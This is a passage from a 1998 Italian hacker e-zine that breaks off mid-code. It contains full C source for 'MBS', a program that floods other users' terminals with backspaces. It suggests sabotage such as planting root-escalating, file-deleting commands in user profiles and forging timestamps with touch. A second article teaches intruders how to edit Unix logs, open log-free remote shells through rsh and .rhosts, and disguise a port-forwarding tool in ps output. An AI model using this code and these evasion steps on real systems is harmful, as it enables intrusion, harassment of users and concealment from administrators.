(e' facile intuire cosa combinate con queste poche righe, semplicemente date
il via ad un ciclo infinito che non fa altro che creare directory una dentro
l'altra)

UN VECCHIO AMICO DI PIGPEN OVVERO L'MBS
(Anche se non funziona su tutti i sys vi puo' far comodo un programma che non
permetta agli altri utenti di scrivere nessun comando ... )

------------------CUT HERE--------------------

#include <stdio.h>
#include <sys/types.h>
#include <utmp.h>
#include <fcntl.h>
#include <signal.h>
/*
MBS - Mass BackSpace Virus!! v2.2 Deluxe+
(c) 1990 - Sir Hackalot
PhaZeSOFT Ltd.

*/

char *ent[10][100]; /* This supports 10 immune people change 10 to x for more */
int maxitem = 5; /* Should be total # of immune dudes */
int truefalse = 0;
int warn[10],bad;
char full_tty[15], text[160], kstr[80];
FILE *to_tty, *strm;
struct utmp u;


void kmes(fmt,boo)
char *fmt;
int boo;
{
if (boo != 0) {
printf("
MBS_KERN: ");
printf("
%s",fmt);
}
if (boo == 0) {
sprintf(full_tty,"
/dev/%s",u.ut_line);
to_tty = fopen(full_tty,"
w");
fprintf(to_tty,"
MBS_KERN: %s",fmt);
fclose(to_tty);
}
}

void initit() { /* Initialize our little "
kernel" */
int xxx = 0;
strcpy(ent[0],"
technic");
strcpy(ent[1],"
merlin");
strcpy(ent[2],"
datawiz");
strcpy(ent[3],"
par");
strcpy(ent[4],"
Epsilon");
while (xxx < 11) {
warn[xxx] = 0;
xxx++;
}
kmes("
Kernel Started.\n",1);
}

void warnem(wcnt) /* Notify all the immune people ... */
int wcnt;
{
if (bad == 0) { /* keep from dumping core to disk */
if (warn[wcnt] < 2) {
sprintf(kstr,"
%s has started a backspace virus!\n",getlogin());
kmes(kstr,0);
warn[wcnt]++;
}
}
}


int checkent(uname) /* Check for immunity */
char *uname;
{
int cnt = 0;
truefalse = 0; /* assume NOT immune */
while (cnt < maxitem) {
if (strcmp(uname,ent[cnt]) == 0) { /* if immune... */
truefalse = 1;
warn[cnt]++; /* increment warning variable */
warnem(cnt); /* warn him if we have not */
}

cnt++;
}
return(truefalse); /* return immunity stat. 1=immune, 0 = not */
}


/* Purpose: Instead of just ignoring the signal via SIG_IGN, we want
to intercept it, and notify use */
void sig_hand(sig)
int sig;
{
if(sig == 3) kmes("
Ignoring Interrupt\n",1);
if(sig == 15) kmes("
Ignoring Termination Signal\n",1);
if(sig == 4) kmes("
Ignoring quit signal.\n",1);
}

main(argc,argv)
int argc;
char *argv[];

{
int prio,pid,isg,handle;
char buf[80];
char name[20],tty[20],time[20];
initit();
if (argc < 2) prio = 20;
if (argc == 2) prio = atoi(argv[1]);
if ((pid = fork()) > 0) {
printf("
Welcome to MBS 2.2 Deluxe, By Sir Hackalot [PHAZE]\n");
printf("
Another Fine PhaZeSOFT production\n");
printf("
Thanks to The DataWizard for Testing this\n");
printf("
Hello to The Conflict\n");
sprintf(kstr,"
Created Process %s (%d)\n\n",argv[0],pid);
kmes(kstr,1);
exit(0); /* KILL MOTHER PID, return to Shell & go background */
}
nice(prio);
signal(SIGQUIT,sig_hand);
signal(SIGINT,sig_hand);
signal(SIGTERM,sig_hand);
/* That makes sure you HAVE to do a -9 or -10 to kill this thing.
Sometimes, hitting control-c will kill of background processes!
Add this line if you want it to continue after you hangup:
signal(SIGHUP,SIG_IGN);
doing it will have the same effect as using NOHUP to
to execute it. Get it? Nohup = no SIGHUP
*/
while(1) { /* "
Kernel" Begins here and never ends */
handle = open("
/etc/utmp",O_RDONLY);
while (read(handle,&u,sizeof(u)) != 0) {
bad = 0;
sprintf(full_tty,"
/dev/%s",u.ut_line);
if (strcmp(u.ut_name,getlogin()) != 0) {

/* Fix: Below is a line that optimizes the hosing/immune process
It skips the utmp entry if it is not a user. If it is, it
checks for immunity, then comes back. This is alot faster
and does not wear down cpu time/power */

if (u.ut_type == USER_PROCESS) isg = checkent(u.ut_name);
else isg = 1;
if (isg != 1) {
if((to_tty = fopen(full_tty,"
w")) == NULL) {
bad = 1;
}
if (bad == 0) {
fprintf (to_tty, "
\b\b\b");
fflush (to_tty);
}
fclose(to_tty);
}
}
}
close (handle);
}
}

------------------CUT HERE--------------------

IL MIO SOGNO ERA AMMINISTRARE UNA RETE
(Queste cose fatele soltanto se avete appena saputo di avere l'AIDS e che cmq
dovete crepare)

Ok se questa era la vostra aspirazione, cominciate a prendere in
considerazione i files come per esempio:

/etc/inetd.conf
/etc/services
/etc/ftpaccess
/etc/syslog.conf
/etc/hosts.equiv

e rifate la rete come volete (uh che dite se ne accorgeranno ???)
Immaginate di avere accesso come root su piu' di un sistema ... e di creare
una rete per voi con tutti questi sistemi, non lo trovate eccitante ? ;)

TELEFONATA FASULLA ALL'ENNESIMA POTENZA (David Troup insegna ;)

Questo scherzetto consiste nel mettere uno spazio prima di ogni password e
vedere quanto tempo ci impiega il root a trovare il problema.

COMANDO CU (Il mio preferito!)

Se siete in un sistema unix dove e' possibile far chiamate con il comando cu,
mettete su un cron che chiama un numero (possibilmente molto lontano) ogni
tot. di minuti.
Certo che se fate una cosa del genere siete proprio bastardi :)

I PROFILI UTENTI

Avete mai pensato a modificare il profilo di un utente in modo tale che quando
entra (naturalmente viene loggato con il suo ip 8) ottiene i privilegi root e
cancella tutto ... ?
O magari manda una mail di insulti al root :)
In quest'ultimo caso potete usufruire di un file di copia del profilo normale
che sovrascrivera' quello che contiene i comandi malefici dopo che sono stati
eseguiti :)
Se conoscete unix avete capito che e' facilissimo farlo e anche abbastanza
sicuro (ricordatevi oltre che a coprire le tracce, di cambiare la data del
profile con il comando touch).
Se farete tutto quello che vi ho detto il root si incazzera' con l'utente a
cui avete modificato il profilo e il codice che ha generato il casino non
sara' piu' recuperabile (sembrera' che l'utente abbia fatto il tutto con le
sue manine :)

Ok queste sono soltanto un po' di idee, naturalmente se fate una cosa del
genere siete dei gran masochisti oppure semplicemente pazzi e bastardi.
Comunque penso che la fantasia vada d'accordo con la pazzia, quindi se
possedete entrambe le cose questo articolo non vi serve ad un cazzo...

Concludo con un pezzo musicale dedicato a chi leggera' questa guida e pensera'
male della scena underground:

"
Some folks trust to reason,
Other trust to might.
I don't trust to nothin'
But I know it come out right.
Say It once again now.
Whoa, I hope you'll understand.
When it's done and over, Lord,
A man is just a man.

Playing, playing in the band.
Daybreak, daybreak on the land.

Some folks look for answers,
Other look for fights.
Some folks up in treetops
Just to look to see the sights.
I can tell your future,
Whoa, just look what's in your hand.
BUT I CAN'T STOP FOR NOTHIN'
I'M JUST PLAYING IN THE BAND." ;)

Playing in the band/G.DEAD
pIGpEN


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÄÄÄÄÄÄÄÄÄ C0ME 0CCULTARSi iN UN SiSTEMA UNiX ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍͼ

Autore: fusys
NO (C)1998 fusys
copiate ed incollate, ma date credito dove e' dovuto.

No, su IRC non vedrete mai fusys (o se lo vedrete non saro' io, quindi
largo ai fake ;)). O meglio ci sono ogni tanto ma non con questo nick.
D'altronde il seguente articolo non penso richiedera' o produrra' molte
domande da parte di voi lettori. Ad ogni modo potete sempre porle a
bfi98@usa.net. Se aggiungeranno (o l'hanno fatto da questo numero)
una sezione per la posta dei lettori, le leggero' anche io.
Questo nick e' quindi dedicato in special modo a bfi ed a quello che si
propone di fare.
Amen.

STANDARD DISCLAIMER************************************************************
Questo materiale e' scritto a puro scopo educativo ed informativo.
L'autore non ha responsabilita' alcuna delle azioni che potrebbero essere
messe in atto dopo lettura del presente articolo. E non avvalla alcun
utilizzo illegale dello stesso.
*******************************************************************************

Ovviamente il titolo vuole essere una provocazione. NO. Non nei confronti
di pIGpEN che nel primo numero ha fatto invece quel che doveva: scuotere
i newbie che continuano a chiedersi quali siano i log e non hanno mai
provato a dare il comando man cervello. :)

La provocazione e' per tutti. Non esistono testi base ed avanzati su
queste cose. Esistono solo testi. Se non contengono tutto quello che c'e'
da sapere, E non riuscite a scovarlo da voi, E il sysadm (root, sysop) del
sistema remoto INVECE lo sa ..... :) siete fatti.

Quindi, in questa edizione riveduta e corretta cerchiamo di andare un
pochino piu' a fondo, anche perche' imparare due trucchi vuol dire farsi
vedere nel sistema piu' facilmente, che non SAPENDO COSA SI STIA FACENDO.

Prima di tutto e' bene capire che i log di sistema fanno una cosa sola.
LOGGARE. Quindi cancellando i log di sistema potete si cancellare le
vostre tracce, ma in alcuni casi questo non vuol dire pararsi le spalle:il
vero LOGGER potrebbe continuare indisturbato su ALTRI file, se i primi
dovessero mancare. Su sistemi Linux e Free/Net/Open BSD (o con sorgenti
disponibili ;) questo non e' da escludersi, soprattutto se il sistema e'
notoriamente considerato sicuro. Oltretutto non e' detto che quei file di
cui tutti parlano (me compreso) siano quelli dove cercare. Pensate un po'
che bello avere dei file contraffatti proprio da root, quando invece il
vero log viene registrato altrove. Magari su un altro computer !

OK. Detto questo e' ovvio per tutti che bisogna scoprire dove questi log
risiedano. Oppure, passare il minimo indispensabile sul sistema remoto,
minimizzando le proprie tracce. Ad esempio evitando i normali sistemi di
connessione oppure compromettendo il sistema a livello del kernel.
Per ora cerchiamo di capire quali siano i log e come si possa essere
scoperti.

I log di sistema sono contenuti di default in una directory che varia a
seconda del sistema remoto. Piuttosto che cercarli con find (per
minimizzare al massimo ogni processo superfluo oltre la shell) diciamo
subito che la dir in questione e':

/usr/adm per sistemi Unix Matusalemme 0.x e ss.
/var/adm han capito che /usr si possa mountare ro
/var/log Linux, Solaris, BSD & co.

Quindi cercate di capire subito dove vi troviate. Con un bel uname -a. Il
risultato sara' illuminante per avere sott'occhio versione, release e
hardware su cui gira il tutto. (quel che vi compilate su x86 "
potrebbe"
non fungere su MIPS ;))))

Alcuni Un!x si comportano in maniera variabile per quanto riguarda la dir.
Ad esempio alcune versioni di SUNOS non si comportano come Solaris e IRIX
dipende in gran parte dalla release, con apici gaussiani in /var/adm.

I file di log che potreste trovare in quasi OGNI versione di unix sono:

acct, pacct comandi eseguiti
utmp, utmpx utenti collegati al sistema
wtmp, wtmpx registrazione di login/out degli utenti
xferlog accessi e trasferimenti FTP
sulog utilizzo di su (a root)
loginlog registrazione login falliti (spesso in -->
---> messages eventi di sistema e msg di consolle
lastlog ultima connessione riuscita (anche fallita
ogni tanto)

Questa lista e' parziale. Vi sono spesso altri log che si riferiscono ad
uso di hardware in locale. Possono o meno essere interessanti per un
accesso remoto (log su altre macchine via seriale ?!) Val sempre la pena
dare un'occhiata se il tempo lo permette.

ACCT, PACCT -----> User Accounting

Questa puo' essere una brutta bestia. Cerchiamo di capirci: anche se avete
rimosso il contenuto sporco del file .history (bash_ anche) ed avete
modificato con .profile ed amenita' varie i set di ambiente per non
riscriverlo .... beh se acct, o pacct vengono usati, magari su di un bel
disco nuovo di pacca, e se non avete ancora UID/EUID=0, beh :) siete
fatti. Qui dentro vengono inseriti TUTTI i comandi da voi digitati.
D'altra parte ha un difetto. Registra solo l' argv[0] e non tutti gli
altri, cosicche' valgono ancora i consigli del primo numero su come
lanciare ed editare file. Infatti non comparira' vi passwd, bensi' solo
vi. Vedete di non farlo precedere da cd /etc per favore :)

Questi sono file binari, dovete cioe' leggere struct di 32bit che
contengono il vostro nome, il comando, tempoCPU impiegato e ora di fine
processo. (si', anche alcune flags sul processo, compreso se con UID/EUID=0
e se con core prodotto ....)

Viene lanciato su SVr4 con /usr/lib/acct/startup, su BSD4.3+ con accton in
/usr/etc o /usr/lib/acct.

Se potete leggerlo, spiate root mentre spia voi ! :)

UTMP, UTMPX, WTMP, WTMPX ------> Chi E' Elvis !?

Questi servono per vedere 1)chi e' collegato al sistema in quel momento e
2)quando si e' collegato e scollegato ultimamente.

utmp risiede solitamente nella maggior parte dei sistemi in /etc e su
alcune macchine Sparc con SUNOS Matusalemme 0.x e' addirittura 777 !
Questo vuol dire che chiunque puo' usare uno dei vari bin editor per
struct utmp o (molto sciocco) cancellarlo del tutto. Sciocco xche' questo
file tiene nota di tutti quelli che sono collegati, ed una loro prematura
scomparsa potrebbe insospettire anche i piu' tardi :) . Su altre macchine
utmp si teletrasporta in /var/adm, /var/log e sulle ultime Linux in
/var/run ... ma e' sempre lo stesso file binario, noioso ed onnipresente.
La versione utmpx (x per extended) allunga il char[] deputato all'host da
cui vi collegate e fornisce altri campi rispetto al vecchio utmp. Se
volete fare qualcosa di nuovo provate man utmp, potreste capire come
scrivere un semplice utmp editor.

wtmp compare in /etc in alcune vecchie SVr3 e r4 o nelle dir suddette.
questo file tiene conto dei login/out di OGNI utente, quindi non pensiate
che aggiungendo in secondo momento un utente al file /etc/passwd questo
possa sottrarsi al log. Anche in questo caso, come per utmp, vengono
memorizzati nome utente, terminale, host di provenienza, tempo di entrata
ed uscita. wtmpx aggiunge a modo suo su Solaris, IRIX ed altri SVr4+ . man
utmp puo' aiutarvi come al solito. (si, la pagina man e' la stessa, no
non ho scritto male ;)

Programmi come w, who, users, finger guardano sempre utmp, quindi,
editandovi fuori di li' non sarete visibili da questi comandi e quindi dagli
admin piu' tonti. Il programma last invece, provato nel primo numero di
bfi, legge il file wtmp.

Spesso molti script di sistema creati dai root usano utmp e wtmp per un
motivo semplice rispetto a ps: l'host di origine. Infatti w, finger e co.
sono piu' veloci e leggibili rispetto ad un ps waux. D'altra parte ps puo'
rivelare la presenza di utenti invisibili a utmp e wtmp come nel caso di
uso di pseudoterminali. Ma mostra anche processi "
postumi" rispetto al
logout dell'utente dandoci modo di nasconderci nella massa. (vedi dopo)

XFERLOG ------> FTP File Transfer Protocol Log

Questo e' davvero noioso per tutti quelli che pensano di poter impunemente
trasferirsi script e proggies con ftp senza dover anchilosarsi la mano con
il mouse in copy/paste da un term all'altro :)
In questo file di semplice formato testuale (vai di grep) vengono loggati

giorno ed ora del trasferimento !!!
nome host remoto !!!
dimensioni file !!!
a for ASCII, b for BIN
flag varie per compressione file (C compress, U uncompr, T tar)
direzione trasferimento (out, in)
nome utente

Questa descrizione e' valida piu' per i vari tipi di unix che non per
Linux che comunque sorta solo in modo differente gli addendi ...

SULOG -------> su (a root)

In questo vediamo il nome dell' utente che ha tentato su o su - , se e'
riuscito, e quando l'ha fatto. File testuale, niente da dire. Potete pero'
sbirciare in /etc/default/su per vedere eventuali configurazioni per il
log dei vari su (non tutto va necessariamente in /var/adm/sulog)

LOGINLOG ---------> bad login, picio !

Alcuni SVr4 tra cui Solaris fregano ogni tentativo (cmq solitamente di
pura speculazione o altrimenti sciocco) di forza bruta alla porta telnet.
Nome utente, terminale ed orario mostrati in formato testo.

MESSAGES ---------> il grande magazzino di /var/adm|log

In questo file testuale troviamo svariatissimi messaggi (ma dai ! ;)
riguardanti il kernel, il corretto funzionamento di moduli, software,
periferiche, e quant'altro venga specificatamente buttato qui dentro da
syslogd come descritto in /etc/syslog.conf

Non solo, qui compaiono anche i log dei TCP Wrapper di W.Venema che
controllano le connessioni ai servizi TCP e che sono ormai standard da
ormai molte distro Linux. Come ovvio, su molti Unix non lo sono, vedi
IRIX, SUNOS e Matusalemme .... AIX, OSF/1 (DEC) e Solaris spesso sono
invece protetti a questo riguardo. Come anche i sassi sanno, i tcpd sono
controllati dai vari /etc/hosts.allow|deny ... vedi man tcpd e man
hosts.allow ...

Questo E' un file da controllare (come se gli altri non lo fossero).
Voglio solo assicurarmi che sia chiaro. Dategli un occhio. Ed ogni tanto
scoprite password degli utenti, digitate al momento sbagliato al login :)
ed interpretate come userid.

LASTLOG --------> Mai Stato Qui !

E invece lo sapranno se non si bada a questo signore. L'orario viene
registrato e riappare (guarda un po') ogni volta che ci si ricollega al
prompt di login, e nell' output del comando finger. Alcune versioni di
SVr4 mostrano anche l'ultima connessione fallita ...

Questo per quanto riguarda i file di log. Sulla .bash_history e' gia'
stato detto nel primo numero. A voi e' stato detto. Di solito la gente
meno fortunata l'ha imparato mettendo assieme l'output di set dal prompt
della shell bash, e l'output di man bash :) ... fatelo.

CONSIGLIO: non l'ho detto prima xche' cmq spero ci abbiate pensato voi. Se
il file di log e' binario, non ho un editor, o non so scriverlo, come
faccio a sapere se il sistema mi ha loggato o meno ? Beh per fortuna molti
prima di voi hanno scritto utility per unix. Io proverei su due piedi un
bel strings seguito da | grep nomeutente o time o host .... ALT! prima di
chiedere, provate man strings, man grep, man hack (no questo non c'e' ma
potreste scriverlo voi ;)

D'altra parte potrebbero esserci molti altri LOG. Perche'? Semplice. Non
abbiamo ancora accennato (se non poco) ai log di rete. Tutto sommato i
vostri accessi al sistema avverranno via InterNet e quindi faranno uso dei
servizi in TCP/IP disponibili sulla macchina, che produrranno log piu' o
meno copiosi, oltre che in messages, anche in file specifici spesso
configurati ad hoc dal root. (Nota per gli spiritosoni che se ne escono
fuori in questo momento con gli accessi in dial-in via modem: esistono
file come aculog che loggeranno ogni accesso a modem ed affini su seriale,
con orari ed accessi alla linea .... :) per non parlare del numero di
telefono in quei paesi che supportano il caller-id :) E non ho ancora
imparato a far rimbalzare la mia telefonata su sei satelliti diversi come
in Sneakers :)
Questo vuol dire che se vi viene in mente di dare un occhio alle
condivisioni di un server SAMBA, e se riuscite anche a farlo fesso con le
tecniche vs NETBIOS, a differenza delle controparti MSOFT, SAMBA loggera'
il nome host e l'IP da cui avete stabilito la connessione. Quindi se
vedete sul sistema pippo, un bel samba.pippo, samba.log o similari, e se
avete spiato le condivisioni da un computer che NON HA NULLA a che vedere
con pippo ... beh ... anche i sysadm sono paranoici, non solo i cracker on
the run.

Vediamo un attimo la dir /var/log sotto Linux:

[fusys@bfi2 fusys]$ ls /var/log
cron maillog samba sendmail.st wtmp
dmesg messages savacct spooler xdm-error.log
lastlog pacct secure usracct xferlog

Oh ma guarda ... qui ci sono ancora ALTRI log oltree a quelli disponibili
sul piu' vicino e disponibile phile ;) certo, dovreste un attimo
impegnarvi anche voi a capire a cosa servano ... ad ogni modo, mentre
alcuni sono ovvi dal loro nome (xdm, sendmail, spooler, maillog) altri
possono esserlo meno.

cron > Ok anche questo e' ovvio, ma credo che se non vi siate ancora
addormentati leggendo fin qui, allora penso possa essere utile specificarlo.
Questo sostanzialmente logga l'avvio e l'esecuzione dei file cron, ovvero
script e programmi di utilita' del sysadm che vengono eseguiti a tempi
determinati, in maniera ciclica e ricorrente. In un sistema Linux di
default, vi troverete in /etc/cron alcuni script che possono darvi un'idea
di come cron funzioni. Testuale.

dmesg > contiene i messaggi di startup del sistema. Non inutile come
potrebbe sembrare, da informazioni su possibili moduli hardware e software
e su sistemi che rimangano poi "
nascosti" anche ai 'vostri' ps (anche root
sa farlo sapete :) Stesso effetto andando a spulciare (anche per altri
Unix) in /etc nelle directory rc.d e sysconfig a seconda della derivazione
BSD o SVr4. Si lo so che Linux le possiede entrambe. D'altronde arrivando
per ultimi e potendo scegliere, xche' non usare il meglio di quanto sia
presente ;) ? File testuale.

maillog > attenzione a upparvi script e co. mandando mail all'account da
voi creato o bucato. I moderni Unix e Linux/BSD vogliono sapere quando, da
chi ed a chi l'avete mandato :) File testuale.

secure > contiene specifiche info riguardanti login di rete e possibili
identificazioni remote del sistema e/o dei suoi utenti che root possa
ritenere necessario conservare in duplice copia qui. File testuale. Occhio
che di default riporta le identificazioni relative ai trasferimenti che
compaiono in xferlog.

PHF, PHP, PHstacippa .....

Se siete entrati cosi', per favore ricordate che anche il server web
logga. Si, lo so, tutto il disco sembra esser devoluto ai log di sistema
In access.log troverete IP (il vostro) ora e file o comando eseguito sul
server. Vedete un po' voi ..... Se per caso l'userid == nobody pensate
bene a quel che volete fare. Quindi prima di tutto date il comando id e
non cat /etc/passwd /sono/unasino/checopia .... provate a casa sul vostro
server web opportunamente modificato in cgi-bin per avere un minimo di
iter. Scoprite su che sistema vi troviate con uname -a e nel caso
assicuratevi che il localtime (remoto) sia notturno e che abbiate tempo di
poter poi puntare a modificare i log (NON CANCELLATELI - altrimenti non
entrate: ogni root capirebbe che qualcosa non va). Se avete accesso root,
ma non un editor utmp, potete tentare di cancellarlo se proprio dovete e
se siete SOLI sul sistema, per poi ricrearlo con touch modificando
opportunamente l'access time .... come ? spesso sui nuovi Linux un
semplice touch -t fara' solo casino dando un bel segmentation fault in
seguito a w e who. Dovete crearlo con -a con una data ed orario in cui,
secondo il programma last, non c'era nessuno. Ma evitatelo se siete
cardiopatici e dovete ripristinare utmp in fretta.

VAR/?

Gia' che ci siamo ... in /var/run potete farvi un'idea dei demoni presenti
e funzionanti, che spesso si avvalgono di questa dir per depositarvi i
loro.pid in modo da facilitarne chiusura e restart da parte di chiamate di
sistema. Dateci un occhio. In /var/nis troverete log ed info se il sistema
in questione mantiene database centralizzati per il suo dominio di
passwords e gruppi per le identificazioni ed il management delle utenze.
Se ad esempio con cat < /etc/passwd non vedete poi molto, e qualora
mancasse anche il fatidico +::::/:: allora e' il caso, se esiste questa
dir e contiene qualcosa :) provare con i comandi yp; il nostro esempio
verra' modificato in ypcat < /etc/passwd
In /var/tmp potrebbero esserci i file di backup dei log, copiati dagli
script cron dei root poco fantasiosi incapaci di pensare ad un altro
repository. In /var/spool beh, si trova molto ... tipo i lavori di stampa
del sistema, la posta degli utenti (/var/spool/mail), le code di posta,
cron, at, rwho e samba (in un Linux standard)

SYSLOG ----->illustre sconosciuto

Quello che spesso viene nominato, ma quasi mai spiegato ai newbie, e' che
esiste una opzione generale di logging disponibile ad ogni programma, e
quindi anche e soprattutto a quelli che root possa aver codato per il suo
sistema :) Perche' dovrebbe usare syslog? E' disponibile, fa quel che
deve, e' standard e portabile, tiene conto delle dir con un semplice file
di configurazione. Sfortuna vuole che lo sappiate anche voi. Creato
originariamente nella mecca di Unix (Berkeley) [ogni zelota del MIT si
astenga per favore da flame e mithack vari ;) per favore. Rispetto
entrambi, solo che Berkeley ha forse dato di piu' a Unix in senso lato]
per loggare le operazioni di sendmail, e' evoluto fin a diventare facility
di sistema. Ogni programma puo', volendo, generare un msg per syslog
secondo il formato: nome programma - sezione - priorita' - msg di log
dove le sezioni disponibili le potete trovare allineate a sinistra in
/etc/syslog.conf e le priorita' spaziano da none ad emerg (man syslog).
Syslog preleva questi msg di log da tre fonti principalmente:

/dev/klog per i msg generati dal kernel
/dev/log per i msg generati dai nostri programmi in locale
*.514 UDP per i msg generati da altre macchine in rete

E logga il tutto come specificato in /etc/syslog.conf. La porta 514 e'
aperta solo se e' stato avviato al boot il SYSLOGd ovvero il demone
deposto ad accettare semplici spoof in UDP :) Ovviamente mi riferisco e
cito qui, il semplice ed efficace metodo descritto da Hobbit nel suo
readme relativo a nc (netcat)

-------> VABBE . E ALLORA ? <-----------

OK allora sappiamo che utmp e wtmp sono li apposta per romperci le
scatole. Sappiamo che login le associa ad ogni nuova sessione aperta da un
nuovo utente che si loggi al sistema. Ma questo funziona per i terminali.
Non per i pseudoterminali. Cosa intendo con questo? Se avete letto il
documento di D.Farmer e W.Venema ricorderete che la prima ed immediata
backdoor (anche la meno tecnica ed occulta) che usino sia un bell' .rhosts
nella dir dell'utente bucato. A questo punto posso tentare di collegarmi
con rlogin senza password, vero? NO!!! cioe' si, ma non ha alcuno scopo
rispetto ai log. Quello che loro indicavano come utile e' usare rsh per
dare comandi remoti. E quale piu' utile (al momento) di sh -i ? una bella
shell interattiva in remoto, non attaccata ad alcun terminale e quindi
SENZA ALCUN aggiunta ad utmp e wtmp, lastlog e co.! Certo, non potremo
usare progs che si basino sul controllo dei terminali, ma tant'e' ...

In molti sistemi Unix rsh viene indicato nudo, ovvero senza tcpd loggante
e senza l'opzione -L, senza le opzioni per bloccare comandi da root e via
dicendo (man rshd) ... in pratica un ottimo accesso senza log. Non sto qui
a dirvi quali metodi usare per porre il fatidico .rhosts ... nel documento
suddetto (Improving the security of your site by breaking into it) se ne
trovano alcuni. Altri in rete. Se proprio ne volete scrivete a bfi98 e
chiedeteli.

Anche usando dei login modificati (UID/EUID=0 qui) o dei fingerd
modificati e' possibile avere accesso al sistema senza utmp/wtmp. Trovo
molto piu' complesso e artificioso modificare ogni singolo programma che
guardi quei file. Meglio non aggiornarli proprio. O modificare il kernel.
In sistemi studenteschi o con alto carico di utenti giornalieri, puo'
essere efficace (ma non perfetto) usare il datapipe dello scorso numero
per connettersi sullo STESSO host alla porta 23, in modo da aggiornare
l'host remoto come localhost. Ma a livello di backdoor, e shell in
tunnelling e' piena la rete: date un occhio magari a LOKI di daemon9.
Oppure potreste usare nc in modalita' server pronto allo spawn di una
shell o di qualche vostro demone ad hoc. Qui davvero ci vuole fantasia
(almeno fino a quando, se quest'articolo avra' suscitato fantasia, non mi
decida a tentarne uno sulle backdoor).

Il problema che pero' abbiamo sottolineato e' l'essere visibili a ps, ed
eventualmente a netstat. Se da un lato versioni modificate di questi
possano proteggerci, trovo piu' sofisticato e divertente l'uso di moduli
kernel ad hoc per occultarsi a dovere. (questo NON e' obiettivo del
presente file. Con moduli altrui posso farlo, ma sto guardando da me come
implementarlo ... questo e' ancora piu' divertente. Sono un newbie anche
io dopotutto, e forse il punto e' che l' hackerdom sia un obiettivo, una
cerca continua. (c) de Troys 14sec :).

Ma spesso non avremo queste possibilita': niente rootkit, niente moduli,
niente conoscenza C e kernel ... ANCORA NIENTE UID/EUID=0 ! Ma in qualche
maniera dovete proteggervi da ps.

Non e' davvero cosi' difficile. Certo la soluzione che voglio mostrarvi
non e' infallibile e non servira' a molto se aprite decine di processi non
da root, su una macchina dove non dovrebbe esserci alcuno e per di piu' in
mezzo alla notte! Dico non da root, xche' comunque potremmo aprirne alcuni
camuffandoli da comuni demoni di sistema.

E' giusto come si diceva nello scorso numero emulare gli utenti tipo del
sistema: chiamate pure la datapipe relazione_giugno98 e il telnet
conto_fondi ... ma nel ps di sistemi come Linux e BSD comparira' lo spesso
inevitabile ./ davanti al nome, tipo ./relazione_giugno98 senza contare
tutti gli argomenti correlati! OK, direte voi, creiamo uno script (ARGH,
leggibilissimo) o un proggy che lanci il mio vero programma .... hmm, a
parte il fatto che potrebbe lo stesso apparire nel ps, root verra' spesso
a cercare il xche' di processi notturni o postumi ... e trovera' strani
script o programmi con lunghezze pari a quelle dei comuni programmi di
sistema nelle vostre dir! Oppure si chiedera' come mai ci sia una versione di
elm nella vostra dir! (se ad esempio avrete rinominato il datapipe o quel che
volete, elm). No, direi che non ci siamo.

L'ideale sarebbe poter mascherare i vostri processi, facendoli passare per
quel che non sono, magari camuffando anche il path di esecuzione, o
facendo comparire dei pine o elm in esecuzione (comuni in sistemi
multiutente), delle bash detached, degli screen, o dei demoni nfsiod ad
esempio se girate come root .... SENZA CHE CI SIA UN FILE CHIAMATO COSI'
NELLA VOSTRA DIR o nascosto in altre dir che non siano quelle legali in
cui si trovano quei programmi.

Questo si', che sarebbe molto meno sospettoso.

Prima della spiegazione vi allego un semplice file diff (man diff ;) che
contiene alcuni minuscoli ritocchi al sorgente di datapipe del primo
numero. In pratica ora potrete aggiungere un quarto parametro oltre a
local_port, remote_port e remote_host. Il fakeps :)

Cosi' ad esempio potrete rinominare il vostro datapipe come
contocorrente_marisa_criptato :) e farlo apparire in esecuzione come ....
quel che volete voi!

Badate ad usare un UNICO argomento per due motivi:

1) i processi a nome singolo sono spesso meno insoliti in un sistema con
molti processi|utenti|terminali detached(screen) e simili

2) le modifiche che ho immesso sono ad hoc su un unico argomento :)

--------------------------ok taglia qui e salva-------------------------------
/*
* Datapipe - Create a listen socket to pipe connections to another
* machine/port. 'localport' accepts connections on the machine running
* datapipe, which will connect to 'remoteport' on 'remotehost'. Fairly
* standard 500 xxxx extended errors are used if something drastic
* happens.
*
* (c) 1995 Todd Vierling
* fakeps no(c) 1998 fusys
*
* Define STRERROR while compiling on a SunOS 4.x box
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <time.h>

#ifdef STRERROR
extern char *sys_errlist[];
extern int sys_nerr;
char *undef = "
Undefined error";

char *strerror(error)
int error;
{
if (error > sys_nerr)
return undef;
return sys_errlist[error];
}
#endif
#define CIAO_PS "
bfi_2"

main(argc, argv)
int argc;
char **argv;
{
int lsock, csock, osock;
FILE *cfile;
char buf[4096];
struct sockaddr_in laddr, caddr, oaddr;
int caddrlen = sizeof(caddr);
fd_set fdsr, fdse;
struct hostent *h;
struct servent *s;
int nbyt;
unsigned long a;
unsigned short oport;
int i, j, argvlen;
char *bfiargv[argc+1];
char *fintops = CIAO_PS ;

if (argc < 4) {
fprintf(stderr,"
Usage: %s localport remoteport remotehost fakeps\n",argv[0]);
return 30;
}

for(i=0; i < argc; i++) {
bfiargv[i] = malloc(strlen(argv[i]) + 1);
strncpy(bfiargv[i], argv[i], strlen(argv[i]) + 1);
}
bfiargv[argc] = NULL;
argvlen = strlen(argv[0]);
if (argvlen < strlen(CIAO_PS)) {
printf("
Se vuoi fregare davvero ps vedi di lanciarmi almeno come superFunkyDataPipe !\n") ;
abort();
}
if(bfiargv[4]) fintops=bfiargv[4] ;
strncpy(argv[0], fintops, strlen(fintops));
for(i = strlen(fintops); i < argvlen; i++) argv[0][i] = '\0';
for(i=1; i < argc; i++) {
argvlen = strlen(argv[i]);
for(j=0; j <= argvlen; j++)
argv[i][j] = '\0';
}

a = inet_addr(argv[3]);
if (!(h = gethostbyname(bfiargv[3])) &&
!(h = gethostbyaddr(&a, 4, AF_INET))) {
perror(bfiargv[3]);
return 25;
}
oport = atol(bfiargv[2]);
laddr.sin_port = htons((unsigned short)(atol(bfiargv[1])));
if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
